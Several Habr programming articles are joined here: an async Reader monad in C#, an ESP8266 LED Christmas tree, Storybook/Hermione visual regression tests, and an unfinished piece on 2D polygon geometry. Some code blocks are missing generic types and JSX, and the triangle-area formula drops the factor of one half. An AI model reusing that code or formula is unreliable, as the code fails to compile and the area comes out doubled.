this.Task.SetChild(reader);
}
awaiter.OnCompleted(stateMachine.MoveNext);
}
public Reader Task { get; }
}
```
Inside **SetChild** method we call **SetCtx** which propagates a context down to a hierarchy and calls an extractor if it is defined:
```
public void SetCtx(object ctx)
{
this._ctx = ctx;
if (this._ctx != null)
{
this._child?.SetCtx(this._ctx);
if (this._extractor != null)
{
this.SetResult(this._extractor(this._ctx));
}
}
}
```
**SetResult** stores a value extracted from a context and calls a continuation:
```
internal void SetResult(T result)
{
this._result = result;
this.IsCompleted = true;
this._continuation?.Invoke();
}
```
In the case when a **Reader** instance does not have an initialized "extractor" then **SetResult** is supposed to be called by **ReaderTaskMethodBuilder** when a generated state machine goes to its final state.
**Apply** method just calls **SetCtx**
```
public Reader Apply(object ctx)
{
this.SetCtx(ctx);
return this;
}
```
[You can find all the code on github (*if it is still not blocked*)](https://github.com/0x1000000/AsyncMonads/blob/master/AsyncMonads/Reader.cs)
Now, I want to show a more realistic example of how the async **Reader** can be used:
**Click to expand the example**
```
public static class ReaderTest
{
public class Configuration
{
public readonly int DataBaseId;
public readonly string GreetingTemplate;
public readonly string NameFormat;
public Configuration(int dataBaseId, string greetingTemplate, string nameFormat)
{
this.DataBaseId = dataBaseId;
this.GreetingTemplate = greetingTemplate;
this.NameFormat = nameFormat;
}
}
public static async Task Main()
{
int[] ids = { 1, 2, 3 };
Configuration[] configurations =
{
new Configuration(100, "Congratulations, {0}! You won {1}$!", "{0} {1}"),
new Configuration(100, "¡Felicidades, {0}! Ganaste {1} $", "{0}"),
};
foreach (var configuration in configurations)
{
foreach (var userId in ids)
{
//The logic receives only a single explicit parameter - userId
var logic = GetGreeting(userId);
//The rest of parameters (database Id, templates) can be passed implicitly
var greeting = await logic.Apply(configuration);
Console.WriteLine(greeting)
}
}
//Congratulations, John Smith! You won 110$!
//Congratulations, Mary Louie! You won 30$!
//Congratulations, Louis Slaughter! You won 47$!
//¡Felicidades, John! Ganaste 110 $
//¡Felicidades, Mary! Ganaste 30 $
//¡Felicidades, Louis! Ganaste 47 $
}
private static async Reader GetGreeting(int userId)
{
var template = await Reader.Read(cfg => cfg.GreetingTemplate);
var fullName = await GetFullName(userId);
var win = await GetWin(userId);
return string.Format(template, fullName, win);
}
private static async Reader GetFullName(int userId)
{
var template = await Reader.Read(cfg => cfg.NameFormat);
var firstName = await GetFirstName(userId);
var lastName = await GetLastName(userId);
return string.Format(template, firstName, lastName);
}
private static async Reader GetFirstName(int userId)
{
var dataBase = await GetDataBase();
return await dataBase.GetFirstName(userId);
}
private static async Reader GetLastName(int userId)
{
var dataBase = await GetDataBase();
return await dataBase.GetLastName(userId);
}
private static async Reader GetWin(int userId)
{
var dataBase = await GetDataBase();
return await dataBase.GetWin(userId);
}
private static async Reader GetDataBase()
{
var dataBaseId = await Reader.Read(cfg => cfg.DataBaseId);
return Database.ConnectTo(dataBaseId);
}
}
public class Database
{
public static Database ConnectTo(int id)
{
if (id == 100)
{
return new Database();
}
throw new Exception("Wrong database");
}
private Database() { }
private static readonly (int Id, string FirstName, string LastName, int Win)[] Data =
{
(1, "John","Smith", 110),
(2, "Mary","Louie", 30),
(3, "Louis","Slaughter", 47),
};
public async Task GetFirstName(int id)
{
await Task.Delay(50);
return Data.Single(i => i.Id == id).FirstName;
}
public async Task GetLastName(int id)
{
await Task.Delay(50);
return Data.Single(i => i.Id == id).LastName;
}
public async Task GetWin(int id)
{
await Task.Delay(50);
return Data.Single(i => i.Id == id).Win;
}
}
```
The program shows greetings for some users but we do not know their names in advance since we have just their ids, so we need to read that information from a "database". To connect to the database we need to know some connection identifier and to create a greeting we need its template and… all the information is passed implicitly trough the async **Reader**.
Dependency Injection with Async "Reader"
----------------------------------------
In comparison with the classic implementation the async reader has a flaw — we cannot specify a type of a passed context. This limitation comes from the fact that C# compiler expects just a single generic type parameter in an async method builder class (maybe it will be fixed in future).
On the other hand, I do not think it is critical since in a real life most probably some dependency injection container will be passed as a context:
```
public static class Reader
{
public static Reader GetService() =>
Reader.Read(serviceProvider
=> (TService)serviceProvider
.GetService(typeof(TService)));
}
```
```
...
private static async Reader Greet(string userName)
{
var service = await Reader.GetService();
return service.GreetUser(userName);
}
...
```
[(*here you can find a full example...*)](https://github.com/0x1000000/AsyncMonads/blob/master/AsyncMonads.Test/ReaderServiceProviderTest.cs)
Unlike the [async "Maybe"](https://habr.com/ru/post/458692/), which I did not recommend using in any production code (because of the issue with **finally** blocks), I would consider using the async **Reader** in real projects as a replacement of (or "in addition to") the traditional dependency injection approach (when all dependencies are passed into a class constructor) since the **Reader** has some advantages:
1. There is no need in class properties that store links to injected resources. Actually there is no need in classes at all — all logic can be be implemented in static methods.
2. Using the **Reader** will encourage creating non blocking code since all methods will be asynchronous and nothing will prevent developers using non blocking versions of input/output operations.
3. Code will be a little bit more "readable" — each time we see the **Reader** as a result type of some method we will know that it requires access to some implicit context.
4. The async **Reader** does not use reflection.
Of course there might be some arguments against using the **Reader** but anyway, the main purpose of these articles is to show how the patterns, which were initially designed for functional languages, can be adopted to imperative style of coding which is believed to be simpler to understand by most people. | https://habr.com/ru/post/461371/ | null | en | null |
# Умная новогодняя ёлка на ESP8266 и ws2811
В прошлом году я начал собирать новогоднюю ёлку очень поздно. Обычно стандартный для каждого конца года режим закрытия проектов в тот декабрь оказался особенно напряженным. В общем, ёлку мы с ребенком принялись наряжать за пару дней до нового года. И первый же сюрприз при украшении ёлки был с новогодней гирляндой, купленной много лет назад то ли в ОБИ, то ли в Кастораме. Один из трех цветовых каналов совсем погас, а другой работал на пониженной яркости. Дело было в воскресенье, и сначала я хотел быстро съездить и купить замену. Но потом вспомнил про гирлянду их 25 управляемых RGB-светодиодов, купленных когда-то на али «на посмотреть», да так и пылящихся в ящике.
Просто так подключить гирлянду к ардуине и залить стандартные алгоритмы мне показалось слишком скучным. Потому, я решил привнести что-то новое, модное. Чтобы и самому интересно было и ребёнка порадовать.
Потому, было принято решение подключить эту гирлянду к умному дому. Умный дом у меня работает преимущественно на микроконтроллерах семейства ESP8266 с использованием библиотек ESP/arduino и [blynk](http://www.blynk.cc/). Сервер blynk свой, локальный, развернут на RaspberryPi 3.
Как я писал выше, времени было у меня не много, потому я ограничился несколькими стандартными примерами из библиотеки NeoPixel. Переключение между режимами осуществляется с помощью смартфона. Ссылку на скетчи я помещу в конце статьи.
Подключается гирлянда к ESP8266 очень просто, но строго к определенным GPIO, в зависимости от модели модуля и нужной скорости передачи
**В библиотеке даны на этот счет комментарии:**
```
// three element pixels, in different order and speeds
NeoPixelBus strip(PixelCount, PixelPin);
//NeoPixelBus strip(PixelCount, PixelPin);
// For Esp8266, the Pin is omitted and it uses GPIO3 due to DMA hardware use.
// There are other Esp8266 alternative methods that provide more pin options, but also have
// other side effects.
//NeoPixelBus strip(PixelCount);
//
// NeoEsp8266Uart800KbpsMethod uses GPI02 instead
// You can also use one of these for Esp8266,
// each having their own restrictions
//
// These two are the same as above as the DMA method is the default
// NOTE: These will ignore the PIN and use GPI03 pin
//NeoPixelBus strip(PixelCount, PixelPin);
//NeoPixelBus strip(PixelCount, PixelPin);
// Uart method is good for the Esp-01 or other pin restricted modules
// NOTE: These will ignore the PIN and use GPI02 pin
//NeoPixelBus strip(PixelCount, PixelPin);
//NeoPixelBus strip(PixelCount, PixelPin);
// The bitbang method is really only good if you are not using WiFi features of the ESP
// It works with all but pin 16
//NeoPixelBus strip(PixelCount, PixelPin);
//NeoPixelBus strip(PixelCount, PixelPin);
```
Вот прошлогоднее видео, что из этого получилось.
Ребенок 6лет был в восторге, особенно от RGB-Зебры. Мне кажется, разработчики придумали этот элемент как раз для такого случая.
Елка долго стояла и радовала, аж до марта месяца (у ребенка в конце февраля день рождения и она хотела похвалиться перед друзьями).
Раз уж «корабль так удачно взлетел», в дальнейшем было решено добавить ещё огоньков. Была докуплена ещё одна гирлянда в 50 диодов. При подключении пришлось добавить 5В питания с противоположного конца гирлянды, т.к. она светила тускло и помаргивала. Кроме того, пару недель тому назад дочка вместе с мамой решили купить для ёлки звезду. Купили какую-то самую дешманскую китайскую в фикспрайсе, которая к тому же не работала. Вручили мне со словами «вот, папа, почини и повесь на ёлку!». Внутри звезды оказался один единственный диод, батарейка и выключатель, который оказался рабочий, но с замкнутыми контактами. Контакты я разомкнул, но это всё хозяйство уныло мигало разными цветами (такие встраивают в прыгающие силиконовые шарики). К стати, буду рад, если мне кто объяснит, как этот диод работает без резистора и какой либо схемы. Диод LED с виду самый обычный однокристальный, у него один катод и анод в прозрачной колбе. Выглядит [примерно так](https://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Uvled_highres_macro.jpg/800px-Uvled_highres_macro.jpg).
В общем, было решено убрать штатный диод и взамен вставить 5шт. из гирлянды ws2811. Соответственно, скетч и профиль blynk были слегка доработаны для поддержки большего количества огней и звезды. Звезда получила персональную зебру и была исключена из всех алгоритмов анимации. С анимацией звезда не понравилась никому из домочадцев.
В следующем году добавлю координатную анимацию и может ещё кто-то из читателей что-то предложит.
→ [Ссылка на библиотеку](https://github.com/Makuna/NeoPixelBus)
Ссылки на скетчи:
→ [раз](https://www.dropbox.com/s/uwyx13zxrc61o34/Elka_gt.ino?dl=0)
→ [два](https://www.dropbox.com/s/wadv1mi2dzax94y/Elka_2018_gt.ino?dl=0)
**P.S.:** Если будет интересно, то в следующих статьях расскажу про своё видение недорогого умного дома. На данный момент у меня настроено управление освещением, аквариумом, климатом, домашним кинотеатром при помощи смартфона, ИК-пульта, датчиков движения, настенных кнопок и голосом. | https://habr.com/ru/post/409459/ | null | ru | null |
# Тесты визуальной регрессии. Перезагрузка
В своей предыдущей [статье](https://habr.com/ru/post/454464/) я рассказывал про опыт использования движка [Gemini](https://github.com/gemini-testing/gemini) для разработки визуальных тестов, точнее, тестов визуальной регрессии. Такие тесты проверяют, не «съехало» ли что-нибудь в UI после очередных изменений с помощью сравнения текущих скриншотов с ранее зафиксированными эталонными. С тех пор в наших подходах к написанию визуальных тестов многое изменилось, в том числе изменился и используемый движок. Теперь мы используем [Hermione](https://github.com/gemini-testing/hermione), но в данной статье я собираюсь рассказать не только и не столько о Hermione, сколько о накопившихся с того времени проблемах и способах их решения, которые в том числе привели и к переходу на новый движок.
Во-первых, хоть тесты и работали, причем вполне успешно, мы не имели четкого понимания, что у нас покрыто тестами, а что нет. Какое-то представление о степени покрытия, конечно, было, но количественно мы его не измеряли. Во-вторых, состав тестов со временем увеличился и разные тесты зачастую тестировали одно и то же, т.к. на разных скриншотах какая-нибудь часть да совпадала с этой же частью, но на другом скриншоте. В итоге, даже незначительные изменения в CSS могли завалить сразу много тестов и требовали обновления большого количества эталонов. В-третьих, в нашем продукте появилась темная тема, и, чтобы хоть как-то покрыть ее тестами, некоторые тесты выборочно были переведены на использование темной темы, что также не добавило ясности к проблеме с определением степени покрытия.
Оптимизация быстродействия
--------------------------
Начали, как ни странно, с оптимизации быстродействия. Объясню, почему. Наши визуальные тесты базируются на [Storybook](https://github.com/storybooks/storybook). Каждая story в storybook — это не отдельно взятая компонента, а целый «блок» (например, грид со списком сущностей, карточка сущности, диалог или даже приложение в целом). Чтобы отобразить этот блок, необходимо «накачать» story данными, причем не только данными, отображаемыми пользователю, но и состоянием компонент, используемых внутри блока. Эта информация хранятся вместе с исходным кодом в виде json-файлов, содержащих сериализованное представление состояния приложения (redux store). Да, эти данные, мягко говоря, избыточны, но зато сильно упрощают создание тестов. Чтобы создать новый тест, мы просто открываем в приложении нужную карточку, список или диалог, делаем снимок текущего состояния приложения и сериализуем его в файл. Затем добавляем новую story и тесты, которые делают скриншоты этой story (все это в несколько строк кода).
Такой подход неизбежно увеличивает размер бандла. Степень дублирования данных в нем просто «зашкаливает». При прогоне тестов движок gemini выполняет каждый тестовый набор (test suite) в отдельной сессии браузера. Каждая сессия грузит бандл заново и размер бандла в такой схеме имеет далеко не последнее значение.
Чтобы уменьшить время прогона тестов, мы уменьшили количество test-suite, увеличив количество тестов в них. Таким образом, один test suite мог затрагивать сразу несколько story. В такой схеме мы практически потеряли возможность «скринить» только определенную область экрана из-за того, что Gemini позволяет задавать область скриншота только для test suite в целом (хотя API и позволяет делать это перед каждым скриншотом, но на практике это не работает).
Отсутствие возможности ограничивать область скриншота в тестах привело к дублированию визуальной информации на эталонных снимках. Пока тестов было не много, эта проблема не казалась значительной. Да и UI менялся не особо часто. Но вечно это продолжаться не могло — на горизонте замаячил редизайн.
Забегая вперед, скажу, что в Hermione область скриншота можно задавать для каждого снимка и, на первый взгляд, переход на новый движок решил бы все вопросы. Но большие test suites нам все равно пришлось бы «дробить». Дело в том, что визуальные тесты по своей природе не отличаются стабильностью (это может быть связано с разными причинами, например, с сетевыми лагами, с использованием анимации или с «погодой на Марсе») и без автоматических переповторов обойтись очень сложно. И Gemini и Hermione выполняют переповторы для test suite в целом, и чем «толще» test-suite, тем меньше вероятность его успешного прохождения при переповторах, т.к. на очередном прогоне могут упасть тесты, ранее успешно выполненные. Для толстых test suite нам пришлось реализовать альтернативную встроенной в движок Gemini схему переповторов и делать это еще раз при переходе на новый движок очень не хотелось.
Поэтому, чтобы ускорить загрузку test-suite, мы разбили монолитный бандл на части, выделив каждый снимок состояния приложения в отдельный «кусок», подгружаемый " по требованию" для каждой story в отдельности. Код создания stories теперь выглядит так:
```
// visual-regression.stories.js
import React from 'react';
import StoryProvider from './story-provider';
const stories = storiesOf('visual-regression', module);
[
{ name: 'Contract', loadData: import('./snapshots/contract.testdata') },
{ name: 'ExecutionTask', loadData: import('./snapshots/execution-task.testdata') },
{ name: 'ExecutionAssignment', loadData: import('./snapshots/execution-assignment.testdata') },
{ name: 'DocumentTemplate', loadData: import('./snapshots/document-template.testdata') },
{ name: 'Explorer', loadData: import('./snapshots/explorer.testdata') },
{ name: 'Inbox', loadData: import('./snapshots/inbox.testdata') },
]
.map(story => {
stories
.add(story.name, () => )
.add(`${story.name}Dark`, () => );
});
```
Для создания story используется компонента StoryProvider (ее код будет приведен чуть ниже). Снимки состояний подгружаются с использованием функции [динамического импорта](https://webpack.js.org/guides/code-splitting/#dynamic-imports). Разные story отличаются друг от друга только снимками состояний. Для темной темы генерируется своя story, использующая тот же самый снимок состояния, что и story для светлой темы. В контексте storybook это выглядит так:
**Default theme story**
**Dark theme story**
Компонент StoryProvider принимает на вход callback для загрузки снимка, в котором вызывается функция import(). Функция import() работает асинхронно, поэтому снимать скриншот сразу после загрузки story нельзя — мы рискуем снять пустоту. Для того, чтобы отловить момент окончания загрузки, на все время загрузки провайдер рендерит маркерный DOM-элемент, сигнализирующий движку тестов, что со скриншотом надо повременить:
**story-provider.js**
```
// story-provider.js
const propsStub = {
// Свойства-заглушки, для отключения запросов к серверу
. . .
};
type Props = {
loadSnapshot: () => Object,
theme: ?string
};
const StoryProvider = (props: Props) => {
const [ snapshotState, setsnapshotState ] = React.useState(null);
React.useEffect(() => {
// Асинхронно грузим снимок
(async() => setsnapshotState((await props.loadSnapshot).default))();
});
if (!snapshotState)
// Информируем движок тестов о том, что скриншот делать рано
return Loading...;
// Подгружаем снимок метаданных
snapshotState.metadata = require('./snapshots/metadata');
// Создаем redux-хранилище из снимка
const store = createMockStore(snapshotState);
// Применяем тему
applyTheme(props.theme);
return (
);
};
export default StoryProvider;
```
Дополнительно, чтобы уменьшить размер бандла, отключаем добавление в бандл source maps. Но чтобы не потерять возможность отладки story (мало ли что), делаем это под условием:
**.storybook/webpack.config.js**
```
// .storybook/webpack.config.js
...
module.exports = {
...
devtool: process.env.NODE_ENV === 'vr-test' ? '(none)' : 'eval-source-map'
};
```
**package.json**
```
// package.json
{
...
"scripts": {
...
"storybook": "start-storybook",
"build-storybook": "cross-env NODE_ENV=vr-test build-storybook -o ./storybook-static",
...
},
```
Скрипт **npm run build-storybook** собирает статический storybook без sourcemap в папку storybook-static. Он используется при выполнении тестов. А скрипт **npm run storybook** используется для разработки и отладки тестовых story.
Устранение дублирования визуальной информации
---------------------------------------------
Как я уже говорил выше, Gemini позволяет задавать селекторы области скриншота для test suite в целом, а значит для полного решения проблемы с дублированием визуальной информации на скриншотах нам пришлось бы делать свой test suite для каждого скриншота. Даже с учетом проведенной оптимизации загрузки story это выглядело не слишком оптимистично с точки зрения быстродействия и мы задумались о смене тестового движка.
Собственно, почему Hermione? На текущий момент репозиторий Gemini помечен как deprecated и нам, рано или поздно, нужно было куда-то «переезжать». Структура файла конфигурации Hermione идентична структуре файла конфигурации Gemini и мы смогли этот конфиг повторно использовать. Плагины у Gemini и Hermione также общие. Кроме того, мы смогли повторно использовать инфраструктуру тестов — виртуальные машины и развернутый selenium-grid.
В отличие от Gemini, Hermione не позиционируется как инструмент только для регрессивного тестирования верстки. Его возможности по манипуляции браузером гораздо шире и ограничены только возможностями [Webdriver IO](http://v4.webdriver.io/). В сочетании с [mocha](https://github.com/mochajs/mocha) этот движок удобно использовать скорее для функционального тестирования (имитирующего действия пользователя), чем для тестирования верстки. Для регрессивного тестирования верстки Hermione предоставляет только метод assertView(), сравнивающий скриншот страницы браузера с эталоном. Скриншот можно ограничить заданной с помощью css-селекторов областью.
Применительно к нашему случаю тест для каждой отдельно взятой story выглядел бы примерно так:
```
// Тестируем визуальную регрессию
describe('Visual regression', function() {
it('Contract card should equal to etalon', function() {
return this.browser
// Загрузить story в браузер
.url('http://localhost:8080/iframe.html?selectedKind=visual-regression&selectedStory=ContractDark')
// Ждать, пока подгрузятся данные и отрисуется story
.waitForVisible('.loading-stub', true)
// Снять скриншот области экрана и сравнить его с эталоном
.assertView('layout', '.form');
})
});
```
Метод waitForVisible(), несмотря на свое название, позволяет ожидать не только появления, но и скрытия элемента, если выставить второму параметру значение true. Здесь мы используем его для ожидания скрытия маркерного элемента, сигнализирующего о том, что снимок данных еще не загружен и story еще не готова для скриншота.
Если вы попытаетесь отыскать, метод waitForVisible() в документации Hermione, то ничего не найдете. Дело в том, что метод waitForVisible() — это [метод API Webdriver IO](http://v4.webdriver.io/api/utility/waitForVisible.html). Метод url(), соответственно, тоже. В метод url() мы передаем адрес фрейма конкретного story, а не всего storybook. Во-первых, это нужно для того, чтобы в окне браузера не отображался список stories — его нам тестировать не нужно. Во-вторых, в случае необходимости мы можем иметь доступ к DOM-элементам внутри фрейма (методы webdriverIO позволяют выполнять JavaScript код в контексте браузера).
Для упрощения написания тестов мы сделали свою обертку над mocha-тестами. Дело в том, что особого смысла в детальной проработке тестовых случаев (test cases) для регрессивного тестирования нет. Все тестовые случаи одинаковы — 'should equal to etalon'. Ну и дублировать код ожидания загрузки данных в каждом тесте тоже не хочется. Поэтому одинаковая для всех тестов «обезьянья» работа делегируется функции-обертке, а сами тесты пишутся декларативно (ну, почти). Вот текст этой функции:
**create-test-suite.js**
```
const themes = [ 'default', 'dark' ];
const rootClassName = '.explorer';
const loadingStubClassName = '.loading-stub';
const timeout = 2000;
function createTestSuite(testSuite) {
const { name, storyName, browsers, testCases, selector } = testSuite;
// Если необходимо, ограничиваем выполнение только в заданными браузерами
browsers && hermione.only.in(browsers);
// Создаем тесты для всех тем
themes.forEach(theme => {
describe(`${name}_${theme}`, () => it('should equal to etalon', function() {
let browser = this.browser
// Открываем страницу story
.url(`${storybookUrl}/iframe.html?selectedKind=visual-regression&selectedStory=${storyName}-${theme}`)
// Ждем окончания загрузки данных
.waitForVisible(loadingStubClassName, timeout, true)
.waitForVisible(rootClassName);
// Отрабатываем тестовые случаи (если они заданы)
if (testCases && testCases.length > 0) {
testCases.forEach(testCase => {
if (testCase.before)
browser = testCase.before(browser);
browser = browser.assertView(`${name}__${testCase.name}_${theme}`,
testCase.selector || selector || rootClassName, testCase.options);
});
return browser;
}
// Если тестовых случаев нет, просто выполняем скриншот
return browser.assertView(`${name}_${theme}`, selector || rootClassName);
}));
});
}
```
На вход функции передается объект, описывающий test suite. Каждый test suite строится по следующему сценарию: делаем скриншот основного layout-а (например, области карточки сущности или области списка сущности), затем программно нажимаем кнопки, которые могут привести к появлению других элементов (например, всплывающих панелей или контекстных меню) и «скриним» каждый такой элемент в отдельности. Таким образом, мы имитируем действия пользователя в браузере, но не с целью протестировать какой-то бизнес-сценарий, а просто для того, чтобы «заснять» максимально возможное число визуальных компонент. При этом дублирование визуальной информации на скриншотах минимально, т.к. скриншоты делаются «точечно», с использованием селекторов. Пример test suite:
**explorer-suite.js**
```
// explorer-suite.js
// Набор тестов для регрессивного тестирования верстки проводника системы
module.exports = {
// Имя story, используемой для скриншотов
storyName: 'explorer',
// Имя тестового набора
name: 'explorer',
// Перечень браузеров, в которых должен запускаться тестовый набор
browsers: [
'chrome-1920x1080', 'ie-1920x1080'
],
// Тестовые случаи
testCases: [
{
// Тестируем общий вид
name: 'layout'
},
{
// Тестируем область уведомлений
name: 'notification-area',
selector: '.notification-area__popup',
before: b => b
.click('.notification-area__popup-button')
.waitForVisible('.notification-area__popup')
.execute(function() {
// Этот код выполняется в контексте браузера
document.querySelectorAll('.expandable-item__content')[2].click();
})
},
//...
]
};
```
**tests.js**
```
// tests.js
[
require('./suites/explorer-suite'),
//...
]
.forEach(suite => createTestSuite(suite));
```
Определение степени покрытия
----------------------------
Итак, с быстродействием и избыточностью разобрались, осталось разобраться, с эффективностью нашего тестирования, то есть определить степень покрытия кода тестами (здесь под кодом я понимаю таблицы стилей CSS).
Для тестовых story мы эмпирически выбирали максимально сложные по наполнению карточки, списки и другие элементы, чтобы одним скриншотом покрыть по возможности большее количество стилей. Например, для тестирования карточки сущности выбирались карточки с большим количеством разнотипных контролов (текстовых, числовых, перечислений, дат, гридов и т.п). Для разных типов сущностей карточки имеют свою специфику, например, из карточки документа можно показать панель со списком версий документа, а в карточке задачи отображается переписка по выполнению этой задачи. Соответственно, для каждого типа сущности создавалась своя story и набор тестов, специфичных для этого типа и т.п. В конце концов мы прикинули, что вроде все покрыли тестами, но хотелось чуть большей уверенности чем «вроде».
Для оценки покрытия в Chrome DevTools есть инструмент с очень подходящим для этого случая названием Coverage:
Coverage позволяет определить, какие стили или какой js-код был использован при работе со страницей браузера. В отчете об использовании зелеными полосками помечается использовавшийся код, красными — не использовавшийся. И все бы хорошо, если бы у нас было приложение уровня «hello, world», но что делать, когда у нас тысячи строк кода? Разработчики Coverage это хорошо понимали и предусмотрели возможность экспорта отчета в файл, с которым уже можно работать программно.
Сразу скажу, что пока мы не нашли способа собирать степень покрытия автоматически. Теоретически это можно сделать с иcпользованием headless-браузера [pupeteer](https://devdocs.io/puppeteer/index#class-coverage), но pupeteer не работает под управлением selenium, а значит повторно использовать код наших тестов не получится. Поэтому пока пропустим эту чрезвычайно интересную тему и поработаем ручками.
Прогнав тесты в ручном режиме получаем отчет о покрытии, который представляет собой json-файл. В отчете для каждого css, js, ts и т.п. файла указаны его текст (в одну строку) и интервалы используемого в этом тексте кода (в виде индексов символов этой строки). Ниже приведен кусочек отчета:
**coverage.json**
```
[
{
"url": "http://localhost:6006/theme-default.css",
"ranges": [
{
"start": 0,
"end": 8127
}
],
"text": "... --theme_primary-accent: #5b9bd5;\r\n --theme_primary-light: #ffffff;\r\n --theme_primary: #f4f4f4;\r\n ..."
},
{
"url": "http://localhost:6006/main.css",
"ranges": [
{
"start": 0,
"end": 610
},
{
"start": 728,
"end": 754
}
]
"text": "... \r\n line-height:1;\r\n}\r\n\r\nol, ul{\r\n list-style:none;\r\n}\r\n\r\nblockquote, q..."
]
```
На первый взгляд, нет ничего сложного в том, чтобы найти неиспользуемые css-селекторы. Но что потом делать с этой информацией? Ведь в конечном счете нам нужно найти не конкретные селекторы, а компоненты, которые мы забыли покрыть тестами. Стили одной компоненты могут быть заданы не одним десятком селекторов. В итоге по результатам анализа отчета мы получим сотни неиспользуемых селекторов, и, если разбираться с каждым из них, можно убить кучу времени.
Здесь нам в помощь — регулярные выражения. Конечно, они будут работать только при выполнении соглашений об именовании css-классов (в нашем коде css-классы именуются в соответствии с методологией БЭМ — имя-блока\_\_имя-элемента\_модификатор). С помощью регулярных выражений мы вычисляем уникальные значения имен блоков, которые уже не составляет труда связать с компонентами. Элементы и модификаторы нас, конечно, тоже интересуют, но далеко не в первую очередь, сначала надо разобраться с более крупной «рыбой». Ниже приведен скрипт для обработки отчета Coverage
**coverage.js**
```
const modules = require('./coverage.json').filter(e => e.url.endsWith('.css'));
function processRange(module, rangeStart, rangeEnd, isUsed) {
const rules = module.text.slice(rangeStart, rangeEnd);
if (rules) {
const regex = /^\.([^\d{:,)_ ]+-?)+/gm;
const classNames = rules.match(regex);
classNames && classNames.forEach(name => selectors[name] = selectors[name] || isUsed);
}
}
let previousEnd, selectors = {};
modules.forEach(module => {
previousEnd = 0;
for (const range of module.ranges) {
processRange(module, previousEnd, range.start, false);
processRange(module, range.start, range.end, true);
previousEnd = range.end;
}
processRange(module, previousEnd, module.length, false);
});
console.log('className;isUsed');
Object.keys(selectors).sort().forEach(s => {
console.log(`${s};${selectors[s]}`);
});
```
Выполняем скрипт, предварительно положив рядом экспортированный из Chrome DevTools файл coverage.json и записываем выхлоп в .csv-файл:
**node coverage.js > coverage.csv**
Этот файл можно открыть помощью excel и проанализировать данные, в том числе определить процент покрытия кода тестами.
Вместо резюме
-------------
Использование storybook в качестве основы для визуальных тестов вполне себя оправдало — мы имеем достаточную степень покрытия css-кода тестами при относительно небольшом количестве stories и минимальных затратах на создание новых.
Переход на новый движок позволил нам устранить дублирование визуальной информации в скриншотах, что существенно упростило поддержку существующих тестов.
Степень покрытия css-кода измеряема и, время от времени, контролируется. Тут конечно большой вопрос – как не забыть про необходимость этого контроля и как не пропустить что-либо в процессе сбора информации о покрытии. В идеале хотелось бы измерять степень покрытия автоматически при каждом прогоне тестов, чтобы при достижении заданного порога тесты падали бы с ошибкой. Будем над этим работать, если появятся новости – обязательно расскажу. | https://habr.com/ru/post/479040/ | null | ru | null |
# Определение процента схожести нарисованного 2d-полигона с заданным шаблоном
Приветствую, друзья.
Как вы знаете, в последнее время технология разработки игр для мобильных платформ развивается очень бурно. Игры пишутся на самых разных движках и языках, мы не будем в этой статье обсуждать, почему тот или иной язык/движок лучше или хуже (правда ведь?). Разработчики пытаются придумать новые интересные и удобные элементы управления игрой. Мне как игроку очень нравится использовать в игре геометрические элементы. Например такие, как в игре Джаггернаут для мобильных устройств.
Я попробую рассказать вам об алгоритме определения нарисованных 2d фигур. Свою версию движка я написал на языке ActionScript 3.0. При желании(и наличии базовых знаний по геометрии) его можно реализовать на любом другом.
Итак, нам необходимо по нарисованной руками фигуре определить процент схожести с имеющейся:
Базовая геометрия
=================
Для реализации алгоритма нам понадобятся базовые формулы геометрии на плоскости.
##### [F1] Длина отрезка:
```
len = sqrt((x2-x1)^2 + (y2-y1)^2);
```
##### [F2] Векторы направления и нормали линии:
```
// координаты вектора направления линии
directX = x2-x1;
directY = y2-y1;
// координаты вектора нормали к линии
normaleX = -directY;
normaleY = directX;
```
##### [F3] Уравнение прямой на плоскости Ax+By+C=0
Получить коэффициенты A,B и C из уравнения прямой, зная две точки этой прямой, можно так:
```
A = -normaleX;
B = -normaleY;
C = -A*x1 - B*y1;
```
##### [F4] Положение точки относительно прямой.
Будем считать что точка лежит **над прямой** в том случае, если формула Ax+By+C при подстановке значений даст значение больше нуля. Если значение равно нулю, то точка принадлежит этой прямой. Представьте себе, что первая точка линии лежит в левой части экрана, а вторая в правой, так вот, все точки, которые лежат над этой линией(в верхней части экрана) дадут положительное значение при подстановке в уравнение прямой. Очень важно понять, где первая(начальная) точка, а где вторая(конечная): если у вас есть точки **p={x,y}** и **q={x,y}**, и вы рассчитываете направление(и вектор нормали) используя формулу:
```
directX = q.x-p.x;
directY = q.y-p.y;
```
, то первая(начальная) точка будет **p**, а вторая(конечная) — **q**.
##### [F5] Принадлежность точки отрезку
Точка **o** принадлежит отрезку **p-q**, если она лежит на прямой, проходящей через эти точки, и если она лежит между двумя заданными точками отрезка. Алгоритм принадлежности следующий:
— определяем, лежит ли точка на прямой (**[F4]**)
— находим длины отрезков(**[F4]**) **o-p** и **o-q**, если хоть одно из этих значений больше чем длина отрезка **p-q**, значит, точка **o** не лежит внутри отрезка **p-q**
##### [F6] Точка пересечения бесконечно длинных прямых
```
// прямые, заданные по двум точкам
l1 = {p1,p2};
l2 = {p1,p2};
//
d = (l2.p2.y-l2.p1.y)*(l1.p2.x-l1.p1._x) - (l2.p2.x-l2.p1.x)*(l1.p2.y-l1.p1.y);
a = (l2.p2.x-l2.p1.x)*(l1.p1.y-l2.p1._y) - (l2.p2.y-l2.p1.y)*(l1.p1.x-l2.p1.x)
// точка пересечения
x0 = l1.p1.x + a*(l1.p2.x-l1.p1.x)/d
y0 = l1.p1.y + a*(l1.p2.y-l1.p1.y)/d
```
Имейте ввиду что, если **d=0**, значит прямые параллельны.
##### [F7] Точка пересечения двух отрезков. Точка пересечения бесконечной линии и отрезка.
Если проверяется пересечение двух конечных отрезков или бесконечной линии и конечного отрезка, необходимо сперва определить точку пересечения двух бесконечных линии(**[F6]**) и произвести проверку на принадлежность этой точки ко всем участвующим отрезкам (**[F5]**).
##### Треугольник — элементарный полигон как основа всего
Как вы знаете треугольник является самым простым полигоном. Многие расчеты полигонов связаны с треугольниками, поэтому приведу несколько формул для работы с ними.
##### [F8] Геометрический центр треугольника
Центр треугольника(или **Центроид**) — это среднее арифметическое координат точек треугольника. Определяется по формуле:
```
x0 = (a.x+b.x+c.x)/3;
y0 = (a.y+b.y+c.y)/3;
```
##### [F9] Площадь треугольника
Зная только координаты точек треугольника, определить его площадь можно, умножив длины двух сторон на синус угла между этими сторонами.
##### [F10] Полигон на плоскости
Полигон **P** на плоскости задается набором вершин: **v1,v2,...,vn**, где n — количество вершин. Полигон имеет ребра, которые образуются соединением соседних вершин: **e1={v1,v2}, e2={v2,v3},...,en={vn,v1}**.
